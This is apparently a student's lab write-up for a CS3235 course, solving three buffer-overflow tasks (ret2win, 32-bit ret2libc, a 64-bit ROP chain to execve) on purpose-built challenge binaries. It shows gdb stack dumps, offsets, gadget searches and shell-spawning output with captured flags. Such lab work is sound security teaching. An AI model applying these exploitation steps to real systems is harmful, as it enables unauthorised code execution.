Additional Notes

I initially used gdb for on my local computer instead of within the ssh, so some dumps of gdb might have addresses slightly different from the actual disassembly of challenge in the docker instance. The final addresses used in my code should all be correct, because I redid all my steps within the docker container once I realised this mistake.

Task 1

We can observe an obvious exploit in main.c named backdoor() which gives us access to shell. There is also a vulnerable() function which uses gets to fill a buffer located at the bottom of the current stack frame (next to return pointer to the function).

Using gdb on the compiled executable, we can disassemble backdoor() to obtain the address 0x00000000004007a8. We will overwrite the return pointer of vulnerable() to point to this address.

```
Dump of assembler code for function backdoor:
   0x00000000004007a8 <+0>:     push   %rbp
   0x00000000004007a9 <+1>:     mov    %rsp,%rbp
```

Disassembling main, we can see that vulnerable() is called in main at 0x0000000000400852.

```
Dump of assembler code for function main:
   ...
   0x000000000040084d <+66>:    mov    $0x0,%eax
   0x0000000000400852 <+71>:    call   0x4007c6 <vulnerable>
   0x0000000000400857 <+76>:    lea    0x14d(%rip),%rdi        # 0x4009ab
   ...
```

Hence we will print the stack when entering the vulnerable() function and observe where the return pointer is relative to our buffer. We break at 0x00000000004007eb right after after gets() is called, and input a string of A's to observe where they appear.

```
(gdb) b *vulnerable+42
(gdb) p $sp
$1 = (void *) 0x7fffffffe490
(gdb) x/64x $sp-32
0x7fffffffe470: 0xffffe618      0x00007fff      0x00000001      0x00000000
0x7fffffffe480: 0xffffe4d0      0x00007fff      0x004007f0      0x00000000
0x7fffffffe490: 0x41414141      0x00000041      0x00000340      0x00000340
0x7fffffffe4a0: 0x00000340      0x00000340      0x00000340      0x00000340
0x7fffffffe4b0: 0x00000340      0x00000340      0x00000000      0x00007fff
0x7fffffffe4c0: 0x00000000      0x00000000      0x0be70c00      0x2ce5b8a0
0x7fffffffe4d0: 0xffffe4f0      0x00007fff      0x00400857      0x00000000
0x7fffffffe4e0: 0xffffe618      0x00007fff      0xf7c8d9d6      0x00000001
0x7fffffffe4f0: 0xffffe590      0x00007fff      0xf7c27635      0x00007fff
0x7fffffffe500: 0xffffe540      0x00007fff      0xffffe618      0x00007fff
0x7fffffffe510: 0xffffe550      0x00000001      0x0040080b      0x00000000
0x7fffffffe520: 0x00000000      0x00000000      0xb4a69673      0x92b8a295
0x7fffffffe530: 0xffffe618      0x00007fff      0x00000001      0x00000000
```

```
0x7fffffffe540: 0xf7ffd000      0x00007fff      0x00000000      0x00000000
0x7fffffffe550: 0xb5869673      0x92b8a295      0x94589673      0x92b8b2ee
0x7fffffffe560: 0x00000000      0x00007fff      0x00000000      0x00000000
```

We can see the stack pointer at 0x7fffffffe490 is filled with 0x41 bytes corresponding to the “A” characters we entered. We can also observe that the return pointer 0x400857 to main() is located at 0x7fffffffe4d8, which means we need to write a total of 72 “A” characters before reaching the return pointer, then overwrite the return pointer with the address to backdoor().

There was an issue with the python script exiting due to receiving an EOF while sending in interactive, so I also updated the python file to avoid this error.

Output:

```
[+] Connecting to localhost on port 2221: Done
[*] student@localhost:
    Distro    Unknown
    OS:       linux
    Arch:     amd64
    Version:  6.17.8
    ASLR:     Disabled
    SHSTK:    Enabled
    IBT:      Disabled
[+] Starting remote process None on localhost: pid 125
[!] ASLR is disabled for '/home/student/challenge'!
[*] Switching to interactive mode
Hello, AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\xa8\x07@!
Congratulations! You found the backdoor!
$ $ cat src/flag.txt
CS3235{r3t2b4ckd00r_ez}
$ Time's up! Too slow!
[*] Got EOF while reading in interactive
$
```

Notice the double “$” sign indicating that we indeed have managed to execute backdoor and spawn a new shell. The flag is printed out as CS3235{r3t2b4ckd00r_ez}.

Task 2

We need to obtain the addresses of system() and “/bin/sh” to execute a return-to-libc exploit. Additionally, to avoid a segfault we also should obtain the address of exit() and call it to exit cleanly. Firstly, we obtain the addresses of system:

```
break main
r
p system
p exit
```

This gives us the addresses of 0xf7e27f10 for system and 0xf7d8b680 for exit. Next we need to find the string “/bin/sh”, which is almost always present in the libc library itself. We check the process map for the location of libc:

```
(gdb) info proc mappings
process 17781
Mapped address spaces:

Start Addr End Addr   Size       Offset     Perms File
...
0xf7d4f000 0xf7d6e000 0x1f000    0x0        r--p  /usr/lib32/libc.so.6
0xf7d6e000 0xf7f00000 0x192000   0x1f000    r-xp  /usr/lib32/libc.so.6
0xf7f00000 0xf7f79000 0x79000    0x1b1000   r--p  /usr/lib32/libc.so.6
0xf7f79000 0xf7f7b000 0x2000     0x229000   r--p  /usr/lib32/libc.so.6
0xf7f7b000 0xf7f7c000 0x1000     0x22b000   rw-p  /usr/lib32/libc.so.6
...
(gdb) find 0xf7f00000, 0xf7f79000, "/bin/sh"
0xf7f669db
1 pattern found.
```

This tells us our string is at 0xf7f669db, and we can now perform the same sequence of actions as Task 1 to obtain our offsets.

```
disassemble main
...
0x080486aa <+92>:       add    $0x10,%esp
0x080486ad <+95>:       call   0x80485f8 <vulnerable>
0x080486b2 <+100>:      sub    $0xc,%esp
...
b *vulnerable+55
r
x/50x $sp-64
0xffffd600:     0x00004010      0xffffd4fe      0x08049fc8      0xf7e71bb0
0xffffd610:     0x00000000      0xffffd650      0x00000100      0x00000000
0xffffd620:     0x00000000      0x00000000      0x00000003      0x00000000
0xffffd630:     0x00000100      0x00000100      0xf7da8b89      0x0804862f
0xffffd640:     0x00000000      0xffffd650      0x00000100      0x08048604
0xffffd650:     0x41414141      0xf7dd0a41      0x00000001      0xf7f7bd87
0xffffd660:     0x00000001      0x00000000      0x00000000      0x00000000
0xffffd670:     0x00000004      0x00000000      0x00000000      0xffffd6a8
0xffffd680:     0x08049fc8      0xffffd414      0xf7e3bb52      0x080486aa
0xffffd690:     0x0000000a      0x08049fc8      0xffffd6a8      0x080486b2
0xffffd6a0:     0xffffd6c0      0xf7f7ae0c      0xf7ffcca0      0xf7d71535
0xffffd6b0:     0xffffd919      0x0000002f      0x00000000      0xf7d71535
0xffffd6c0:     0x00000001      0xffffd774
```

We can see the return address at 0xffffd68c in vulnerable, which means we need a padding of 76 bytes this time to reach our return address.

Output:

```
[+] Connecting to localhost on port 2222: Done
[*] student@localhost:
    Distro    Unknown
    OS:       linux
    Arch:     amd64
    Version:  6.17.8
    ASLR:     Disabled
```

```
    SHSTK:    Enabled
    IBT:      Disabled
[+] Starting remote process None on localhost: pid 369
[!] ASLR is disabled for '/home/student/challenge'!
[*] Switching to interactive mode
=== Welcome to Task2: Ret2System (32-bit) ===
Hint: system() is your friend, but where is /bin/sh?

Your message: You said: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\x

$ $ cat src/flag.txt
CS3235{r3t2syst3m_32bit}
$ $ exit
[*] Got EOF while reading in interactive
$ exit
[*] Stopped remote process 'challenge' on localhost (pid 369)
[*] Got EOF while sending in interactive
```

Notice the double “$” sign at the end indicating that we indeed have managed to execute backdoor and spawn a new shell. The flag is printed out as CS3235{r3t2syst3m_32bit}.

Additionally, there is no segmentation fault observed, because of our inclusion of the exit() address.

Task 3

The program defines a buffer of 32 bytes but calls read(0, buffer, 0x100). Since the binary is 64-bit, we must follow the System V AMD64 ABI calling convention. To call execve(“/bin/sh”, 0, 0), we need to place the address of the string “/bin/sh” into the RDI register, 0 into rsi, and 0 into rdx.

To build the exploit, we needed the following information:

- The offset: Buffer (32) + Saved RBP (8) = 40 bytes.
- The address of execve, which is 0x7ffff7ac6ae0 using the same technique as in Task 2.
- The following gadgets:
  - using `ROPgadget --binary challenge | grep "pop rdi ; ret"` , we obtained an address of 0x0000000000400833
  - base libc offset, which is found with `ldd challenge` to be 0x00007ffff780f000
  - using `ROPgadget --binary /lib/x86_64-linux-gnu/libc.so.6 | grep "pop rsi ; ret"` we obtained an address of 0x0000000000023a6a
  - using `ROPgadget --binary /lib/x86_64-linux-gnu/libc.so.6 | grep "pop rdx ; ret"` we obtained an address of 0x0000000000001b96
- The address of “/bin/sh”, found to be 0x7ffff7b95d88 using the same technique as in Task 2
- An additional return pointer nested between offset and ROP gadget address, which we observed from printing the stack pointer to be 0x7ffff7bc8904.

Output:

```
[+] Connecting to localhost on port 2223: Done
[*] student@localhost:
    Distro    Unknown
    OS:       linux
```

```
    Arch:     amd64
    Version:  6.17.8
    ASLR:     Disabled
    SHSTK:    Enabled
    IBT:      Disabled
[+] Starting remote process None on localhost: pid 90
[!] ASLR is disabled for '/home/student/challenge'!
[*] Switching to interactive mode
$ $ cat src/flag.txt
CS3235{r3t2l1bc_r0p_ch41n}$ [*] Got EOF while reading in interactive
$ exit
[*] Stopped remote process 'challenge' on localhost (pid 90)
[*] Got EOF while sending in interactive
```

Notice the double “$” sign at the end indicating that we indeed have managed to execute backdoor and spawn a new shell. The flag is printed out as CS3235{r3t2l1bc_r0p_ch41n}.